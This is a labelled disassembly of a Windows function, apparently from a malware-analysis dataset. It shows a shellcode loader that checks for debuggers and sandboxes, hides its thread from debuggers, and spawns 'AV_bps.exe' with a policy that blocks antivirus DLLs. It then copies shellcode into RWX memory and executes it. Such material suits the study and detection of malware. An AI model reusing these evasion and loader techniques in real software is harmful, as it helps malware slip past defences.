Function at 0x140011352
Capabilities:
Allocate or change rwx memory
Check for peb ntglobalflag flag
Create process on windows
Execute shellcode via indirect call
Get system information on windows
Hide thread from debugger
Protect spawned processes with mitigation policies

Disassembly:
jmp 0x140012620
push rbp
push rsi
push rdi
sub rsp, 0x740
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x12c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x6e0], rax
lea rcx, [0x140025108]
call fcn.1400114b0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 8], rax
lea rdx, str.VirtualAlloc
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x28], rax
lea rdx, str.CreateThread
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x48], rax
lea rdx, str.WaitForSingleObject
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x68], rax
lea rdx, [0x14001103c]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x14001271a
lea rdx, str._VirtualAllocExNuma______Failed_check
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001109b
xor eax, eax
jmp 0x140012a4e
mov rax, qword gs:[0x60]
add rax, 0xbc
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xa8]
mov eax, dword [rax]
and eax, 0x70
test eax, eax
je 0x140012747
xor eax, eax
jmp 0x140012a4e
lea rcx, [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rbp + 0xe8]
mov dword [rbp + 0x114], eax
cmp dword [rbp + 0x114], 2
jae 0x140012770
xor eax, eax
jmp 0x140012a4e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
add rax, 0x70
mov qword [rbp + 0x138], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
add rax, 0x74
mov qword [rbp + 0x158], rax
mov rax, qword [rbp + 0x138]
mov eax, dword [rax]
xor eax, 2
test eax, eax
jne 0x1400127ae
mov rax, qword [rbp + 0x158]
cmp dword [rax], 0
je 0x1400127b5
xor eax, eax
jmp 0x140012a4e
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.NtSetInformationThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x178], rax
mov dword [rbp + 0x194], 0x11
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
xor r8d, r8d
mov edx, dword [rbp + 0x194]
mov rcx, rax
call qword [rbp + 0x178]
mov r8d, 0x70
xor edx, edx
lea rcx, [rbp + 0x1c0]
call fcn.1400113c0
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x248]
call fcn.1400113c0
lea r9, [rbp + 0x278]
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov rax, qword [rbp + 0x278]
mov qword [rbp + 0x6a8], rax
mov rcx, qword [rbp + 0x6a8]
call fcn.14001120d
mov qword [rbp + 0x6c8], rax
cmp qword [rbp + 0x6c8], 0
je 0x14001288a
mov rdi, qword [rbp + 0x6c8]
xor eax, eax
mov rcx, qword [rbp + 0x6a8]
rep stosb byte [rdi], al
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x6d8], rax
jmp 0x140012895
mov qword [rbp + 0x6d8], 0
mov rax, qword [rbp + 0x6d8]
mov qword [rbp + 0x228], rax
lea r9, [rbp + 0x278]
xor r8d, r8d
mov edx, 1
mov rcx, qword [rbp + 0x228]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
movabs rax, 0x101000000000
mov qword [rbp + 0x298], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x298]
mov r8d, 0x20007
xor edx, edx
mov rcx, qword [rbp + 0x228]
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
mov dword [rbp + 0x1c0], 0x70
lea rax, [rbp + 0x248]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x1c0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.AV_bps.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14001296d
mov byte [rbp + 0x6d4], 1
jmp 0x140012974
mov byte [rbp + 0x6d4], 0
movzx eax, byte [rbp + 0x6d4]
mov byte [rbp + 0x2b4], al
lea rax, [rbp + 0x2e0]
lea rcx, [0x14001bfb0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x127
rep movsb byte [rdi], byte [rsi]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x424], 0
jmp 0x1400129c1
mov eax, dword [rbp + 0x424]
inc eax
mov dword [rbp + 0x424], eax
movsxd rax, dword [rbp + 0x424]
cmp rax, 0x127
jae 0x140012a09
movsxd rax, dword [rbp + 0x424]
movzx eax, byte [rbp + rax + 0x2e0]
cmp eax, 0x5a
jne 0x140012a07
mov edx, dword [rbp + 0x424]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400129b3
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x127
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x448], rax
mov r8d, 0x127
lea rdx, [rbp + 0x2e0]
mov rcx, qword [rbp + 0x448]
call fcn.140011258
call qword [rbp + 0x448]
jmp 0x140012a4c
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001bdf0]
call fcn.14001141a
mov rax, rdi
mov rcx, qword [rbp + 0x6e0]
xor rcx, rbp
call fcn.140011253
lea rsp, [rbp + 0x6f0]
pop rdi
pop rsi
pop rbp
ret